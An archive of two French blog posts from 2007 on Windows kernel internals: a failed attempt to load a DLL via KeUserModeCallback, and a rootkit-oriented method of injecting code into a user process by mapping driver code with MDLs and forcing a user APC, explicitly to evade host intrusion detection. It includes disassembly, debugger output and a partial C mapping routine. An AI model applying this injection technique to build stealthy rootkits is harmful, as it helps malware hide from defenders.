Archive for août, 2007

You Failed !

Je n’ai malheureusement pas réussi à faire fonctionner le code de mon précédent post ouinz … Pourtant j’ai tenté moultes techniques voodoo et mass debugging, en fait je n’arrive tout simplement pas à comprendre d’ou provient le bug. Peut-être qu’il provient de l’utilisation des fonctions KeStackAttachProcess/KeUnstackDetachProcess qui permettent (comme leurs noms l’indique) d’attacher notre thread puis de le détacher du contexte d’un process. Si on est curieux et qu’on regarde doc du DDK :
« Note that attaching a thread to a different process can prevent asynchronous I/O operations from completing and can potentially cause deadlocks. In general, the lines of code between the call to KeStackAttachProcess and the call to KeUnstackDetachProcess should be very simple and should not call complex routines or send IRPs to other drivers. »

Ils sont marrant les gars qui ont écrit ca, sachant que je n’envoie pas d’IRP sur les autres driver ma faute devrait donc dans « and should not call complex routines »… Wow le descriptif « complex routines » aide beaucoup. Bref l’injection marche, par contre au moment de quitter c’est boom-big-badaboom-big. Comme le code est crade je préfère ne pas vous montrer sinon vous allez croire que je code avec ma souris (ce qui est parfois vraiment style !)

Autrement, on m’a parlé sur IRC d’un API exporté par le kernel appelée KeUserModeCallback qui permettrait d’effectuer un appel d’un code userland depuis le kernel. Son prototype est :

NTSTATUS
KeUserModeCallback (
    IN ULONG ApiNumber,
    IN PVOID InputBuffer,
    IN ULONG InputLength,
    OUT PVOID *OutputBuffer,
    IN PULONG OutputLength
    )

/*++

Routine Description:

    This function call out from kernel mode to a user mode function.

Arguments:

    ApiNumber - Supplies the API number.

    InputBuffer - Supplies a pointer to a structure that is copied
        to the user stack.

    InputLength - Supplies the length of the input structure.

    Outputbuffer - Supplies a pointer to a variable that receives
        the address of the output buffer.

    Outputlength - Supplies a pointer to a variable that receives
        the length of the output buffer.

Return Value:

    If the callout cannot be executed, then an error status is
    returned. Otherwise, the status returned by the callback function
    is returned.

--*/

Après avoir lu sa définition une chose ma frappée, à quoi correspond le paramètre ApiNumber ? Hop 2-3 d’IDA, je m’apercois que KeUserModeCallback va aller lire dans le TrapFrame du thread qui l’appel, l’esp de la stack userland (avec l’API KiGetUserModeStackAddress). En effet, lors d’un syscall, le system sauvegarde le contexte (c’est à dire les registres) avant le syscall, sur la kernel stack du thread, ainsi on peut retrouver dans la structure KTRAP_FRAME le somment de la stack userland. Ensuite KeUserModeCallback va copié les arguments spécifié par InputBuffer dans la stack userland puis appel KiCallUserMode qui va effectuer après avoir modifié le TrapFrame un KiServiceExit (exit de syscall) pour tomber sur la fonction userland KiUserCallbackDispatcher. Hop, un peu de disass :

kd> uf ntdll!KiUserCallbackDispatcher
ntdll!KiUserCallbackDispatcher:
7c91ead0 83c404          add     esp,4
7c91ead3 5a              pop     edx
7c91ead4 64a118000000    mov     eax,dword ptr fs:[00000018h] ; eax=TEB
7c91eada 8b4030          mov     eax,dword ptr [eax+30h] ; EAX=PEB
7c91eadd 8b402c          mov     eax,dword ptr [eax+2Ch] ; EAX=KernelCallbackTable
7c91eae0 ff1490          call    dword ptr [eax+edx*4] ; call dword ptr KernelCallbackTable[edx*4]
7c91eae3 33c9            xor     ecx,ecx
7c91eae5 33d2            xor     edx,edx
7c91eae7 cd2b            int     2Bh ;	!idt -a -> 2b:	80540d20 nt!KiCallbackReturn
7c91eae9 cc              int     3

KiUserCallbackDispatcher va rechercher dans le PEB du process, le champ KernelCallbackTable, comme son nom l’indique il s’agit d’un table de pointeurs de fonctions. C’est là qu’intervient le paramètre ApiNumber passé à KeUserModeCallback car celui-ci nous permet de choisir l’indice de la fontion à appeler. Voici la liste :

kd> dds poi(7ffde000+2c) l 62
7e392970  7e3ae373 USER32!__fnCOPYDATA
7e392974  7e3d8583 USER32!__fnCOPYGLOBALDATA
7e392978  7e39b4e8 USER32!__fnDWORD
7e39297c  7e39da97 USER32!__fnNCDESTROY
7e392980  7e3d853c USER32!__fnDWORDOPTINLPMSG
7e392984  7e3d873d USER32!__fnINOUTDRAG
7e392988  7e3bb815 USER32!__fnGETTEXTLENGTHS
7e39298c  7e3d8a12 USER32!__fnINCNTOUTSTRING
7e392990  7e3ad278 USER32!__fnINCNTOUTSTRINGNULL
7e392994  7e3d88df USER32!__fnINLPCOMPAREITEMSTRUCT
7e392998  7e39f9a8 USER32!__fnINLPCREATESTRUCT
7e39299c  7e3d891d USER32!__fnINLPDELETEITEMSTRUCT
7e3929a0  7e3cfc8c USER32!__fnINLPDRAWITEMSTRUCT
7e3929a4  7e3d895b USER32!__fnINLPHLPSTRUCT
7e3929a8  7e3d895b USER32!__fnINLPHLPSTRUCT
7e3929ac  7e3d877d USER32!__fnINLPMDICREATESTRUCT
7e3929b0  7e3cf3fc USER32!__fnINOUTLPMEASUREITEMSTRUCT
7e3929b4  7e39d080 USER32!__fnINLPWINDOWPOS
7e3929b8  7e39fbe5 USER32!__fnINOUTLPPOINT5
7e3929bc  7e39cf77 USER32!__fnINOUTLPSCROLLINFO
7e3929c0  7e3be24d USER32!__fnINOUTLPRECT
7e3929c4  7e39d1b6 USER32!__fnINOUTNCCALCSIZE
7e3929c8  7e39cf77 USER32!__fnINOUTLPSCROLLINFO
7e3929cc  7e3d87cf USER32!__fnINPAINTCLIPBRD
7e3929d0  7e3d8836 USER32!__fnINSIZECLIPBRD
7e3929d4  7e3b0d01 USER32!__fnINDESTROYCLIPBRD
7e3929d8  7e39f599 USER32!__fnINSTRING
7e3929dc  7e39f599 USER32!__fnINSTRING
7e3929e0  7e3acd83 USER32!__fnINDEVICECHANGE
7e3929e4  7e3d8aa7 USER32!__fnINOUTNEXTMENU
7e3929e8  7e3d91c5 USER32!__fnLOGONNOTIFY
7e3929ec  7e3d84f8 USER32!__fnOUTDWORDDWORD
7e3929f0  7e3d84f8 USER32!__fnOUTDWORDDWORD
7e3929f4  7e3d84b5 USER32!__fnOUTDWORDINDWORD
7e3929f8  7e3d889c USER32!__fnOUTLPRECT
7e3929fc  7e3ad278 USER32!__fnINCNTOUTSTRINGNULL
7e392a00  7e3d895b USER32!__fnINLPHLPSTRUCT
7e392a04  7e3ad278 USER32!__fnINCNTOUTSTRINGNULL
7e392a08  7e3d85fb USER32!__fnSENTDDEMSG
7e392a0c  7e39d665 USER32!__fnINOUTSTYLECHANGE
7e392a10  7e3b01d4 USER32!__fnHkINDWORD
7e392a14  7e3cf6ca USER32!__fnHkINLPCBTACTIVATESTRUCT
7e392a18  7e3cf60c USER32!__fnHkINLPCBTCREATESTRUCT
7e392a1c  7e3d8b9e USER32!__fnHkINLPDEBUGHOOKSTRUCT
7e392a20  7e3b1663 USER32!__fnHkINLPMOUSEHOOKSTRUCTEX
7e392a24  7e3d8b24 USER32!__fnHkINLPKBDLLHOOKSTRUCT
7e392a28  7e3d8b61 USER32!__fnHkINLPMSLLHOOKSTRUCT
7e392a2c  7e39f926 USER32!__fnHkINLPMSG
7e392a30  7e3d8ae7 USER32!__fnHkINLPRECT
7e392a34  7e3cee05 USER32!__fnHkOPTINLPEVENTMSG
7e392a38  7e3d8c89 USER32!__ClientCopyDDEIn1
7e392a3c  7e3d8ccb USER32!__ClientCopyDDEIn2
7e392a40  7e3d8d2e USER32!__ClientCopyDDEOut1
7e392a44  7e3d8cfd USER32!__ClientCopyDDEOut2
7e392a48  7e3a0ae1 USER32!__ClientCopyImage
7e392a4c  7e3d8d62 USER32!__ClientEventCallback
7e392a50  7e3b19b6 USER32!__ClientFindMnemChar
7e392a54  7e3aa7c1 USER32!__ClientFontSweep
7e392a58  7e3d8c1c USER32!__ClientFreeDDEHandle
7e392a5c  7e3adea5 USER32!__ClientFreeLibrary
7e392a60  7e3a7b3c USER32!__ClientGetCharsetInfo
7e392a64  7e3d8c53 USER32!__ClientGetDDEFlags
7e392a68  7e3d8dac USER32!__ClientGetDDEHookData
7e392a6c  7e3cf795 USER32!__ClientGetListboxString
7e392a70  7e3a7c1d USER32!__ClientGetMessageMPH
7e392a74  7e3abb9c USER32!__ClientLoadImage
7e392a78  7e3adbc9 USER32!__ClientLoadLibrary
7e392a7c  7e3a106d USER32!__ClientLoadMenu
7e392a80  7e3a8022 USER32!__ClientLoadLocalT1Fonts
7e392a84  7e3a9ffc USER32!__ClientLoadRemoteT1Fonts
7e392a88  7e3d8e4b USER32!__ClientPSMTextOut
7e392a8c  7e3d8ea1 USER32!__ClientLpkDrawTextEx
7e392a90  7e3d8f05 USER32!__ClientExtTextOutW
7e392a94  7e3d8f6a USER32!__ClientGetTextExtentPointW
7e392a98  7e3d8de9 USER32!__ClientCharToWchar
7e392a9c  7e3a7f29 USER32!__ClientAddFontResourceW
7e392aa0  7e39a13e USER32!__ClientThreadSetup
7e392aa4  7e3d9023 USER32!__ClientDeliverUserApc
7e392aa8  7e3d8fc1 USER32!__ClientNoMemoryPopup
7e392aac  7e39cf28 USER32!__ClientMonitorEnumProc
7e392ab0  7e3d921a USER32!__ClientCallWinEventProc
7e392ab4  7e3d8be5 USER32!__ClientWaitMessageExMPH
7e392ab8  7e39fb10 USER32!__ClientWOWGetProcModule
7e392abc  7e3d925d USER32!__ClientWOWTask16SchedNotify
7e392ac0  7e3d9036 USER32!__ClientImmLoadLayout
7e392ac4  7e3d9092 USER32!__ClientImmProcessKey
7e392ac8  7e3d90d2 USER32!__fnIMECONTROL
7e392acc  7e3d8666 USER32!__fnINWPARAMDBCSCHAR
7e392ad0  7e3bb815 USER32!__fnGETTEXTLENGTHS
7e392ad4  7e3d89ac USER32!__fnINLPKDRAWSWITCHWND
7e392ad8  7e3abda8 USER32!__ClientLoadStringW
7e392adc  7e3e55f7 USER32!__ClientLoadOLE
7e392ae0  7e3e54d4 USER32!__ClientRegisterDragDrop
7e392ae4  7e3e5513 USER32!__ClientRevokeDragDrop
7e392ae8  7e3d9182 USER32!__fnINOUTMENUGETOBJECT
7e392aec  7e3b03b7 USER32!__ClientPrinterThunk
7e392af0  7e3d929c USER32!__fnOUTLPCOMBOBOXINFO
7e392af4  7e3d92dc USER32!__fnOUTLPSCROLLBARINFO

La fonction disponible que j’ai tout de suite remarqué est ClientLoadLibrary (indice 66), equivalant à LoadLibrary ! Il est donc possible de loader une dll dans un process depuis le kernel, juste en appelant KeUserModeCallback avec dans le InputBuffer le path de la dll à charger. Le soucis, c’est qu’un des threads du process visé doit appeler cette fonction par lui-même depuis le kernel land à cause de la TrapFrame. Je me suis donc dit, « bah balance un kernel APC à un des threads du process, fait lui lancer KeUserModeCallback et ca sera bion !! » ….

Grande fut ma déception lorsque qu’après mass-tentative, je remarqua que la fonction chargé de délivrer les APC, KiDeliverApc, prennait en paramètre un pointeur sur une TrapFrame :

VOID
KiDeliverApc (
    IN KPROCESSOR_MODE PreviousMode,
    IN PKEXCEPTION_FRAME ExceptionFrame,
    IN PKTRAP_FRAME TrapFrame
    );

Forcément, la plupart du temps le paramètre TrapFrame étant NULL, demander à l’APC d’appeler KeUserModeCallback qui à besoin du TrapFrame pour copier ses arguements dans la user stack, était impossible, l’échec, encore …

Même en demander à l’APC de forcer en copiant l’adresse du TrapFrame dans la structure KTHREAD, je me prenais un magnifique BSOD.

Bref pour que KeUserModeCallback marche, il faut que le thread l’appel de lui-même. Ca pourrait se faire en hookant un syscall ou un gestionnaire d’IOCTL mais bon, ce n’est pas le but, je voulais au départ injecter une dll simplement depuis le kernel dans un process, and … I FAILED !

refs :
http://www.cmkrnl.com/arc-userapc.html
http://www.illmob.org/files/text/29a7/Articles/29A-7.003

9 comments août 27th, 2007

Steelin ur t3h m3g4hurtzzzzz !!

Encore un titre à faire fuir n’importe quel être normalement constitué, au début j’ai faillit écrire tout le post de la même façon mais je crois que les fautes font déjà assez branleur comme ca. Il faut dire qu’en ce moment j’ai un peu de mal à trouver de bonnes idées à poster, j’ai beau me drogué, rien n’y fait. Il faut dire que combattre un ennemi aussi vicieux que l’idle est loin d’être aisé, on se laisse vite tenter par des choses appelées « télévision » dans lesquelles ont peut observer un monde ou la bêtise semble reine … Au début on se dit qu’on ne deviendra jamais comme eux, puis à force de les contempler notre cerveau commence à se transformer pour ressembler au leurs. Après on s’étonne que le QI baisse, déjà que le mien n’est pas bien élevé, regarder la TV ou troller sur irc (c’est quasiment le même niveau de réflexion) n’aide pas à le maintenir. J’essaye de combattre cette nuisance et je crois que le meilleur moyen est de poser devant le laptop, de mettre du bon métal à fond puis de lire des blogs/sites chinois/russes pour récupérer de l’idée. Cet ainsi qu’est né ce poste, partant d’un constant simple, comment, quand un rootkit est installer sur une b0x lancer simplement un code depuis le kernel dans un context userland ? A première vue, on pourrait dire qu’en étant dans le noyau, réaliser cette opération est simple mais en y réfléchissant de près, qu’est ce qu’on connaît capable de faire ca ?

Crée un process pour exécuter notre code et se faire cramer plutôt crevé …
Injecter une DLL ? Cela revient à crée un thread lancé sur LoadLibrary.
Justement parlons de la création d’un thread par nous même dans un process existant, il suffit de voir le code CreateRemoteThread pour chier dans son froc …

kd> uf kernel32!CreateRemoteThread
kernel32!CreateRemoteThread:
7c81042c 6810040000      push    410h
7c810431 680806817c      push    offset kernel32!`string'+0x18 (7c810608)
7c810436 e88b20ffff      call    kernel32!_SEH_prolog (7c8024c6)
7c81043b a1cc46887c      mov     eax,dword ptr [kernel32!__security_cookie (7c8846cc)]
7c810440 8945e4          mov     dword ptr [ebp-1Ch],eax
7c810443 8b4d08          mov     ecx,dword ptr [ebp+8]
7c810446 898d44fcffff    mov     dword ptr [ebp-3BCh],ecx
7c81044c 8b750c          mov     esi,dword ptr [ebp+0Ch]
7c81044f 8b5d14          mov     ebx,dword ptr [ebp+14h]
7c810452 8b4518          mov     eax,dword ptr [ebp+18h]
7c810455 898534fcffff    mov     dword ptr [ebp-3CCh],eax
7c81045b 8b4520          mov     eax,dword ptr [ebp+20h]
7c81045e 898538fcffff    mov     dword ptr [ebp-3C8h],eax
7c810464 33d2            xor     edx,edx
7c810466 899548fcffff    mov     dword ptr [ebp-3B8h],edx
7c81046c 33c0            xor     eax,eax
7c81046e 8dbd4cfcffff    lea     edi,[ebp-3B4h]
7c810474 ab              stos    dword ptr es:[edi]
7c810475 8d8520fcffff    lea     eax,[ebp-3E0h]
7c81047b 50              push    eax
7c81047c f6451e01        test    byte ptr [ebp+1Eh],1
7c810480 0f85b8a60200    jne     kernel32!CreateRemoteThread+0x56 (7c83ab3e)

kernel32!CreateRemoteThread+0x5c:
7c810486 52              push    edx
7c810487 ff7510          push    dword ptr [ebp+10h]
7c81048a 51              push    ecx
7c81048b e88cfdffff      call    kernel32!BaseCreateStack (7c81021c)
7c810490 85c0            test    eax,eax
7c810492 0f8cafa60200    jl      kernel32!CreateRemoteThread+0x6a (7c83ab47)

kernel32!CreateRemoteThread+0x6d:
7c810498 33ff            xor     edi,edi
7c81049a 47              inc     edi
7c81049b 57              push    edi
7c81049c ffb528fcffff    push    dword ptr [ebp-3D8h]
7c8104a2 53              push    ebx
7c8104a3 ffb534fcffff    push    dword ptr [ebp-3CCh]
7c8104a9 8d8558fcffff    lea     eax,[ebp-3A8h]
7c8104af 50              push    eax
7c8104b0 e8eefeffff      call    kernel32!BaseInitializeContext (7c8103a3)
7c8104b5 33db            xor     ebx,ebx
7c8104b7 53              push    ebx
7c8104b8 56              push    esi
7c8104b9 8d85e0fbffff    lea     eax,[ebp-420h]
7c8104bf 50              push    eax
7c8104c0 e8258effff      call    kernel32!BaseFormatObjectAttributes (7c8092ea)
7c8104c5 57              push    edi
7c8104c6 8d8d20fcffff    lea     ecx,[ebp-3E0h]
7c8104cc 51              push    ecx
7c8104cd 8d8d58fcffff    lea     ecx,[ebp-3A8h]
7c8104d3 51              push    ecx
7c8104d4 8d8d3cfcffff    lea     ecx,[ebp-3C4h]
7c8104da 51              push    ecx
7c8104db 8bb544fcffff    mov     esi,dword ptr [ebp-3BCh]
7c8104e1 56              push    esi
7c8104e2 50              push    eax
7c8104e3 68ff031f00      push    1F03FFh
7c8104e8 8d8550fcffff    lea     eax,[ebp-3B0h]
7c8104ee 50              push    eax
7c8104ef ff154414807c    call    dword ptr [kernel32!_imp__NtCreateThread (7c801444)]

Ici on a crée l'objet ETHREAD dans le kernel.

7c8104f5 898554fcffff    mov     dword ptr [ebp-3ACh],eax
7c8104fb 3bc3            cmp     eax,ebx
7c8104fd 0f8c47a60200    jl      kernel32!CreateRemoteThread+0xd4 (7c83ab4a)

kernel32!CreateRemoteThread+0xf4:
7c810503 895dfc          mov     dword ptr [ebp-4],ebx
7c810506 83feff          cmp     esi,0FFFFFFFFh
7c810509 7553            jne     kernel32!CreateRemoteThread+0x1a6 (7c81055e)

kernel32!CreateRemoteThread+0x100:
7c81050b 53              push    ebx
7c81050c 6a1c            push    1Ch
7c81050e 8d85f8fbffff    lea     eax,[ebp-408h]
7c810514 50              push    eax
7c810515 53              push    ebx
7c810516 ffb550fcffff    push    dword ptr [ebp-3B0h]
7c81051c ff152811807c    call    dword ptr [kernel32!_imp__NtQueryInformationThread (7c801128)]

7c810522 898554fcffff    mov     dword ptr [ebp-3ACh],eax
7c810528 3bc3            cmp     eax,ebx
7c81052a 0f8c3aa60200    jl      kernel32!CreateRemoteThread+0x121 (7c83ab6a)

kernel32!CreateRemoteThread+0x139:
7c810530 53              push    ebx
7c810531 6a08            push    8
7c810533 8d8548fcffff    lea     eax,[ebp-3B8h]
7c810539 50              push    eax
7c81053a 57              push    edi
7c81053b 53              push    ebx
7c81053c 53              push    ebx
7c81053d 57              push    edi
7c81053e ff15ec14807c    call    dword ptr [kernel32!_imp__RtlQueryInformationActivationContext (7c8014ec)]
7c810544 898554fcffff    mov     dword ptr [ebp-3ACh],eax
7c81054a 3bc3            cmp     eax,ebx
7c81054c 0f8c30a60200    jl      kernel32!CreateRemoteThread+0x157 (7c83ab82)

kernel32!CreateRemoteThread+0x164:
7c810552 399d48fcffff    cmp     dword ptr [ebp-3B8h],ebx
7c810558 0f852b4d0200    jne     kernel32!CreateRemoteThread+0x16c (7c835289)

kernel32!CreateRemoteThread+0x1a6:
7c81055e 803d0840887c00  cmp     byte ptr [kernel32!BaseRunningInServerProcess (7c884008)],0
7c810565 0f8567b20100    jne     kernel32!CreateRemoteThread+0x1f0 (7c82b7d2)

kernel32!CreateRemoteThread+0x1af:
7c81056b 8b8550fcffff    mov     eax,dword ptr [ebp-3B0h]
7c810571 89854cffffff    mov     dword ptr [ebp-0B4h],eax
7c810577 8b853cfcffff    mov     eax,dword ptr [ebp-3C4h]
7c81057d 898550ffffff    mov     dword ptr [ebp-0B0h],eax
7c810583 8b8540fcffff    mov     eax,dword ptr [ebp-3C0h]
7c810589 898554ffffff    mov     dword ptr [ebp-0ACh],eax
7c81058f 6a0c            push    0Ch
7c810591 6801000100      push    10001h
7c810596 53              push    ebx
7c810597 8d8524ffffff    lea     eax,[ebp-0DCh]
7c81059d 50              push    eax
7c81059e ff153410807c    call    dword ptr [kernel32!_imp__CsrClientCallServer (7c801034)]

Notifie le subsystem (csrss) avec un LPC qu'un thread a été crée.

7c8105a4 8b8544ffffff    mov     eax,dword ptr [ebp-0BCh]
7c8105aa 898554fcffff    mov     dword ptr [ebp-3ACh],eax

kernel32!CreateRemoteThread+0x229:
7c8105b0 399d54fcffff    cmp     dword ptr [ebp-3ACh],ebx
7c8105b6 0f8c17a60200    jl      kernel32!CreateRemoteThread+0x231 (7c83abd3)

kernel32!CreateRemoteThread+0x23d:
7c8105bc 8b8538fcffff    mov     eax,dword ptr [ebp-3C8h]
7c8105c2 3bc3            cmp     eax,ebx
7c8105c4 7408            je      kernel32!CreateRemoteThread+0x24f (7c8105ce)

kernel32!CreateRemoteThread+0x247:
7c8105c6 8b8d40fcffff    mov     ecx,dword ptr [ebp-3C0h]
7c8105cc 8908            mov     dword ptr [eax],ecx

kernel32!CreateRemoteThread+0x24f:
7c8105ce f6451c04        test    byte ptr [ebp+1Ch],4
7c8105d2 7513            jne     kernel32!CreateRemoteThread+0x268 (7c8105e7)

kernel32!CreateRemoteThread+0x255:
7c8105d4 8d851cfcffff    lea     eax,[ebp-3E4h]
7c8105da 50              push    eax
7c8105db ffb550fcffff    push    dword ptr [ebp-3B0h]
7c8105e1 ff153814807c    call    dword ptr [kernel32!_imp__NtResumeThread (7c801438)]

Lance le thread ...

kernel32!CreateRemoteThread+0x268:
7c8105e7 834dfcff        or      dword ptr [ebp-4],0FFFFFFFFh
7c8105eb e829000000      call    kernel32!CreateRemoteThread+0x289 (7c810619)
7c8105f0 8b8550fcffff    mov     eax,dword ptr [ebp-3B0h]
7c8105f6 8b4de4          mov     ecx,dword ptr [ebp-1Ch]
7c8105f9 e80491ffff      call    kernel32!__security_check_cookie (7c809702)
7c8105fe e8fe1effff      call    kernel32!_SEH_epilog (7c802501)
7c810603 c21c00          ret     1Ch

En gros, crée un thread consiste à appeler NtCreateThread et NtResumeThread (2 API non exportées par le noyau), sans oublié de notifié le subsystem qu’un thread à été lancé, bref ceci n’est pas forcément très furtif :]

Il est aussi possible d’hijacker un thread existant en utilisant les API :
ZwOpenThread
NtSuspendThread //non exporté par le noyau
PsGetContextThread
PsSetContextThread
NtResumeThread //non exporté par le noyau
ZwClose
Cela cependant relève plus du parcourt du combattant car les API NtSuspendThread et NtResumeThread n’étant pas exportées par ntoskrnl, il n’est possible de les utiliser dans un driver les retrouvant dynamiquement, le plus simple étant de les obtenir à partir de leur index dans la KiServiceTable.
Dans le cas de la création d’un thread, il reste le problème de l’allocation du code dans la mémoire. En effet effectuer un ZwAllocateVirtualMemory puis un ZwWriteVirtualMemory et enfin un ZwFreeVirtualMemory demande pas mal de code. On pourrait se dire qu’il serait plus simple de directement mapper les pages kernel contenant le code qu’on désire lancer, c’est vrai mais dans ce cas il faut manipuler un objet de type « section », le mapping consistera a faire les appels :
ZwCreateSection
ZwMapViewOfSection
ZwUnmapViewOfSection
ZwClose
Le problème c’est que le handle renvoyé lors de l’appel à ZwCreateSection sera crée dans le context du thread qui l’aura appelé, ainsi comme on doit le manipuler après avec les autres API, il faut s’assurer que notre system thread s’exécute dans le contexte du process ou l’on veut mapper les pages.

Bref, si on veut injecter du code depuis le kernel dans un process, on a 2 ennuis :
1) Comment mapper le code de façon simple ?
2) Comment l’exécuter sans se prendre la tête ?

De plus il faut garder à l’esprit qu’un HIDS peut très bien surveiller les appels natifs (tous les Zw*) et ainsi par exemple bloquer l’appel à ZwAllocateVirtualMemory dans un process non-authorisé.

L’idéal serait donc de pouvoir réaliser ces 2 opérations sans utiliser d’API natives mais uniquement celle que nous fournit le noyau.

La méthode que j’expose ici à été reprise d’un code chinois, dont les gars là bas, doivent tourner avec des drogues beaucoup plus puissant que les chocapicz ….

L’idée consiste à mapper le code dans un process en jouant avec les MDL (Memory Descriptor List) puis à l’éxécuter avec un APC crée depuis notre driver.

Le mapping s’effectue en créant un MDL sur notre routine (faisant partie de notre driver) avec un IoAllocateMdl, ensuite il faut locker les pages dans le kernel, pour empêcher quelles soient swappées, puis les mapper avec un MmMapLockedPagesSpecifyCache (suffit de lire la doc du DDK et tout va bien :p). Au final ca donne ca :

pMDL=IoAllocateMdl((PVOID)&ApcRoutine, 0x15E, FALSE, FALSE, NULL); //0x15E=sizeof(code)
	if(!pMDL)
	{
		DbgPrint("Error with IoAllocateMdln");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}

	__try
	{
		MmProbeAndLockPages(pMDL, KernelMode, IoWriteAccess);
	}
	__except(EXCEPTION_EXECUTE_HANDLER)
	{
		IoFreeMdl(pMDL);
		DbgPrint("Error with MmProbeAndLockPagesn");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}

	KeStackAttachProcess((PEPROCESS)Process, &ApcState);

	__try
	{
		ApcMappedAddress=MmMapLockedPagesSpecifyCache(pMDL,
													UserMode,
													MmCached,
													NULL,
													FALSE,
													NormalPagePriority);
	}
	__except(EXCEPTION_EXECUTE_HANDLER)
	{
		MmUnlockPages(pMDL);
		IoFreeMdl(pMDL);
		DbgPrint("Error with MmMapLockedPagesSpecifyCachen");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}

	if(!ApcMappedAddress)
	{
		KeUnstackDetachProcess(&ApcState);
		MmUnlockPages(pMDL);
		IoFreeMdl(pMDL);
		DbgPrint("Error with MmMapLockedPagesSpecifyCachen");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}

Notez l’appel à KeStackAttachProcess, cette magnifique API permet d’attacher notre thread au context d’un process à partir de son EPROCESS, on s’assure ainsi que l’appel à MmMapLockedPagesSpecifyCache avec le paramètre UserMode mappera bien les pages dans le userspace du process visé.

Ensuite, il faut envoyer un APC à un des threads du process, dans notre cas on utilise un userland APC, le petit souci c’est que comme le dit la doc, un userland APC n’est exécuté que si un thread est à la fois Waiting et Alertable, en il faut qu’il est appelé une de ces API :
SleepEx
SignalObjectAndWait
MsgWaitForMultipleObjectsEx
WaitForMultipleObjectsEx
WaitForSingleObjectEx
En mettant le booléen bAlertable à TRUE, ce qui n’est pas forcément le cas ! Cela empêche donc notre APC d’être exécuté, ouinz …

Sauf, si on trick comme un moine tibétain, en effet l’API KiInsertQueueApc qui se charge de placer l’APC sur le thread, notifiera ce dernier qu’il doit exécuter un APC en plaçant le flag UserApcPending de la structure KTHREAD à 1. En ce qui concerne l’APC il sera délivré lors du retour du syscall respectant ainsi l’algorithme suivant :

ExitFromSystem:
	disable interrupts;
	IF Previous IRQL == 0 THEN
		Get current TCB address;
		IF Previous mode == Kernel THEN
			IF Tcb.KernelApcPending THEN
				IRQL = 1;
				Call kernel APC delivery code;
			END IF;
		ELSEIF Tcb.UserApcPending THEN
			IRQL = 1;
			Call user APC delivery code;
		END IF;
	END IF;
	Restore state and continue execution;

Voila ce que ca peut donner dans le monde réel :

kd> kv
ChildEBP RetAddr  Args to Child
f94f4cf8 804e6112 00000000 f94f4d64 0032054e nt!KiInitializeUserApc (FPO: [Non-Fpo])
f94f4d4c 804de855 00000001 00000000 f94f4d64 nt!KiDeliverApc+0x1d5 (FPO: [Non-Fpo])
f94f4d4c 7c91eb94 00000001 00000000 f94f4d64 nt!KiServiceExit+0x58 (FPO: [0,0] TrapFrame @ f94f4d64)
[---------------------------------------------------------------------------------------------------]
0012ff44 7c91d85c 7c8023ed 00000000 0012ff78 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0012ff48 7c8023ed 00000000 0012ff78 00370031 ntdll!NtDelayExecution+0xc (FPO: [2,0,0])
0012ffa0 7c802451 00001388 00000000 0012ffc0 kernel32!SleepEx+0x61 (FPO: [Non-Fpo])
0012ffb0 0040022f 00001388 0012ffb0 0012fff0 kernel32!Sleep+0xf (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ffc0 7c816fd7 00370031 002d0031 7ffd6000 apc_test+0x22f
0012fff0 00000000 00400220 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])

Ensuite si c’est un user APC, on se retrouve dans la stack userland du thread, l’APC étant exécuté sous forme d’exception :

kd> kv
ChildEBP RetAddr  Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012fc68 7c91eac7 00000000 0000001c 00000000 0x32054e
0012ffa0 7c802451 00001388 00000000 0012ffc0 ntdll!KiUserApcDispatcher+0x7
0012ffb0 0040022f 00001388 0012ffb0 0012fff0 kernel32!Sleep+0xf (FPO: [Non-Fpo])
0012ffc0 7c816fd7 00370031 002d0031 7ffd6000 apc_test+0x22f
0012fff0 00000000 00400220 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])

Donc, si on modifie nous même le flag UserApcPending du KTHREAD, que le thread soit Running ou Waiting, on est sur que lors du retour du prochain syscall, notre APC sera délivré, w00t c’est n111ce !
J’ai oublié de précisé que le code injecté doit-être générique, c’est à dire qu’il ne doit appeler aucunes API userland avec une adresse hardcodé.

Pour information, voici les prototypes de KeInitializeApc et KeInsertQueueApc :

VOID
KeInitializeApc (
    __out PRKAPC Apc,
    __in PRKTHREAD Thread,
    __in KAPC_ENVIRONMENT Environment,
    __in PKKERNEL_ROUTINE KernelRoutine,
    __in_opt PKRUNDOWN_ROUTINE RundownRoutine,
    __in_opt PKNORMAL_ROUTINE NormalRoutine,
    __in_opt KPROCESSOR_MODE ApcMode,
    __in_opt PVOID NormalContext
    )

Routine Description:

    This function initializes a kernel APC object. The thread, kernel
    routine, and optionally a normal routine, processor mode, and normal
    context parameter are stored in the APC object.

Arguments:

    Apc - Supplies a pointer to a control object of type APC.

    Thread - Supplies a pointer to a dispatcher object of type thread.

    Environment - Supplies the environment in which the APC will execute.
        Valid values for this parameter are: OriginalApcEnvironment,
        AttachedApcEnvironment, CurrentApcEnvironment, or InsertApcEnvironment

    KernelRoutine - Supplies a pointer to a function that is to be
        executed at IRQL APC_LEVEL in kernel mode.

    RundownRoutine - Supplies an optional pointer to a function that is to be
        called if the APC is in a thread's APC queue when the thread terminates.

    NormalRoutine - Supplies an optional pointer to a function that is
        to be executed at IRQL 0 in the specified processor mode. If this
        parameter is not specified, then the ProcessorMode and NormalContext
        parameters are ignored.

    ApcMode - Supplies the processor mode in which the function specified
        by the NormalRoutine parameter is to be executed.

    NormalContext - Supplies a pointer to an arbitrary data structure which is
        to be passed to the function specified by the NormalRoutine parameter.

Return Value:

    None.
--*/    

BOOLEAN
KeInsertQueueApc (
    __inout PRKAPC Apc,
    __in_opt PVOID SystemArgument1,
    __in_opt PVOID SystemArgument2,
    __in KPRIORITY Increment
    )

/*++

Routine Description:

    This function inserts an APC object into the APC queue specifed by the
    thread and processor mode fields of the APC object. If the APC object
    is already in an APC queue or APC queuing is disabled, then no operation
    is performed. Otherwise the APC object is inserted in the specified queue
    and appropriate scheduling decisions are made.

Arguments:

    Apc - Supplies a pointer to a control object of type APC.

    SystemArgument1, SystemArgument2 - Supply a set of two arguments that
        contain untyped data provided by the executive.

    Increment - Supplies the priority increment that is to be applied if
        queuing the APC causes a thread wait to be satisfied.

